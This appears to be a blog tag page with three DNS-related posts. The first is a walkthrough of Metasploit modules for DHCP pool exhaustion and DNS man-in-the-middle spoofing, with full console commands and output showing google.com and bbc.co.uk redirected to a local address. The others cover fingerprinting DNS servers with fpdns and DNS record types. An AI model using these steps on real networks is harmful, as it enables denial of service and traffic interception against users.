Tag: DNS
DHCP Exhaustion and DNS MiTM
by Rootadmin on Mar.14, 2010, under Uncategorized
DigiNinja has created a meta sploit module for a DHCP Exhaustion attack tool which continues to request DHCP addresses till it stops getting responses from the server which, as far as I can tell, means the IP pool is exhausted ( meaning that no there are no available address’s from DHCP and a computer set to get a DHCP address cant get on the network – a very nice idea for a Denial of Service Attack in my oppinion.
He has also created a DNS Man in The Middle module which has been worked on by various people, the last being Wesley McGrew who released his version but never got round to getting it into the Metasploit Framework. The module loads a list of domains to give fake responses for and returns real results for everything else. His work on this was to add the facility to have it reload the config file without a restart by doing a look up on a pre-set domain. He also fixed a couple of minor bugs.
See http://www.digininja.org/metasploit/dns_dhcp_beta.php
Usage
You’ll need to be root to run both modules and for the DHCP module you’ll need to put the interface into promiscious mode before starting the attack so it can hear all the replies to the fake requests. The easiest way to explain how to use them is to just show the modules in use so here they are…
DHCP Exhaustion
msf > use auxiliary/digininja/dhcp_exhaustion/exhaust
msf auxiliary(exhaust) > set
Global
======
No entries in data store.
Module: dhcp_exhaustion/exhaust
===============================
Name Value
---- -----
DHCPSERVER 255.255.255.255
SNAPLEN 65535
TIMEOUT 2
msf auxiliary(exhaust) > run
[*] DHCP attack started
[*] DHCP offer of address: 192.168.0.53
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.54
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.55
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.56
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.57
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.58
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.59
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.60
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.52
[*] Got the ACK back, IP address allocated successfully
[*] DHCP offer of address: 192.168.0.51
[*] Got the ACK back, IP address allocated successfully
[*] Timeout waiting for OFFER
[*] Got a timeout, assuming DHCP exhausted. You Win
[*] Finished
[*] Auxiliary module execution completed
DNS MiTM
msf > use auxiliary/digininja/dns_mitm/dns_mitm
msf auxiliary(dns_mitm) > set
Global
======
No entries in data store.
Module: dns_mitm/dns_mitm
=========================
Name Value
---- -----
RELOAD digininja.reload
SRVHOST 0.0.0.0
SRVPORT 53
msf auxiliary(dns_mitm) > run
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: FILENAME, REALDNS.
msf auxiliary(dns_mitm) > set FILENAME /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
FILENAME => /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
msf auxiliary(dns_mitm) > set REALDNS 192.168.0.8
REALDNS => 192.168.0.8
msf auxiliary(dns_mitm) > set
Global
======
No entries in data store.
Module: dns_mitm/dns_mitm
=========================
Name Value
---- -----
FILENAME /usr/src/metasploit/modules/auxiliary/dns_mitm/dns.txt
REALDNS 192.168.0.8
RELOAD digininja.reload
SRVHOST 0.0.0.0
SRVPORT 53
msf auxiliary(dns_mitm) > run
[*] Auxiliary module running as background job
msf auxiliary(dns_mitm) >
[*] Loading hosts file
The hosts file contains a single entry
192.168.0.2 google.com
Now do some look ups, google.com and bbc.co.uk
nslookup
> server localhost
Default server: localhost
Address: ::1#53
Default server: localhost
Address: 127.0.0.1#53
> google.com
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
Name: google.com
Address: 192.168.0.2
Name: google.com
Address: 192.168.0.2
Name: google.com
Address: 192.168.0.2
> bbc.co.uk
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
Name: bbc.co.uk
Address: 212.58.224.138
Google is middled but the BBC gets through, now add the BBC to the hosts file
echo "192.168.0.2 bbc.co.uk" >> dns.txt
Refresh the server by looking up the special domain and then check the BBC again
> digininja.reload
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
*** Can't find digininja.reload: No answer
> bbc.co.uk
Server: localhost
Address: 127.0.0.1#53
Non-authoritative answer:
Name: bbc.co.uk
Address: 192.168.0.2
The BBC is now ours!
Fingering DNS Servers in ubuntu
by Rootadmin on Nov.21, 2009, under Uncategorized
Install fpdns in Ubuntu
sudo aptitude install fpdns
This will complete the installation
Using fpdns
fpdns [-c] [-d] [-f] [-p port] [-Q srcaddr] [-r retry] [-s] [-t timeout] [-v] server
Where: server is an ip address or a resolvable name
or ‘-’ to read list of servers from stdin
-c (where appropriate check CH TXT version) [off]
-d (debug) [off]
-f (force check CH TXT version) [off]
-F (maximum forked processes) [10]
-p port (nameserver is on this port) [53]
-Q srcaddr (source IP address) [0.0.0.0]
-r retry (set number of attempts) [1]
-s (short form) [off]
-t time (set query timeout) [5]
-v (show version)
fpdns Examples
BIND Version 8 Example
fpdns -D google.com
fingerprint (google.com, 216.239.34.10): ISC BIND 8.3.0-RC1 — 8.4.4
fingerprint (google.com, 216.239.36.10): ISC BIND 8.3.0-RC1 — 8.4.4
fingerprint (google.com, 216.239.38.10): ISC BIND 8.3.0-RC1 — 8.4.4
fingerprint (google.com, 216.239.32.10): ISC BIND 8.3.0-RC1 — 8.4.4
BIND Version 9 Example
fpdns -D debianhelp.co.uk
fingerprint (debianhelp.co.uk, 212.67.202.2): ISC BIND 9.2.3rc1 — 9.4.0a0 [recursion enabled]
fingerprint (debianhelp.co.uk, 212.67.203.246): ISC BIND 9.2.3rc1 — 9.4.0a0 [recursion enabled]
TinyDNS Example
fpdns ns1.eu.dedicatedserver.com.
fingerprint (ns1.eu.dedicatedserver.com., 213.198.65.226): DJ Bernstein TinyDNS 1.05
Microsoft windows 2003 Example
fpdns -D microsoft.com
fingerprint (microsoft.com, 207.68.160.190): Microsoft Windows DNS 2003
fingerprint (microsoft.com, 65.54.240.126): Microsoft Windows DNS 2003
A quick guide to DNS Records
by Rootadmin on Jun.16, 2009, under Other
The Domain Name System (DNS) is a hierarchical naming system for computers, it is used to translate names to ip addresses and like wise ip addresses to names. there are different types of DNS records to allow DNS to work, some of these are below
A record. Used for storing an IP address (actually only an IPv4 32-bit address) associated with a domain name. Refer to RFC 1035.
CNAME. Canonical name for a DNS alias
MX. Mail Exchanger record. Every MX record specifies a domain name (which must have an A record associated with it) and a priority; a list of mail exchangers is then ordered by priority when delivering mail.
NS. Authoritative name server. Specifies a host name (which must have an A record associated with it), where DNS information can be found about the domain name to which the NS record is attached.
PTR. Domain name pointer, Provides a general direction facility for DNS records.



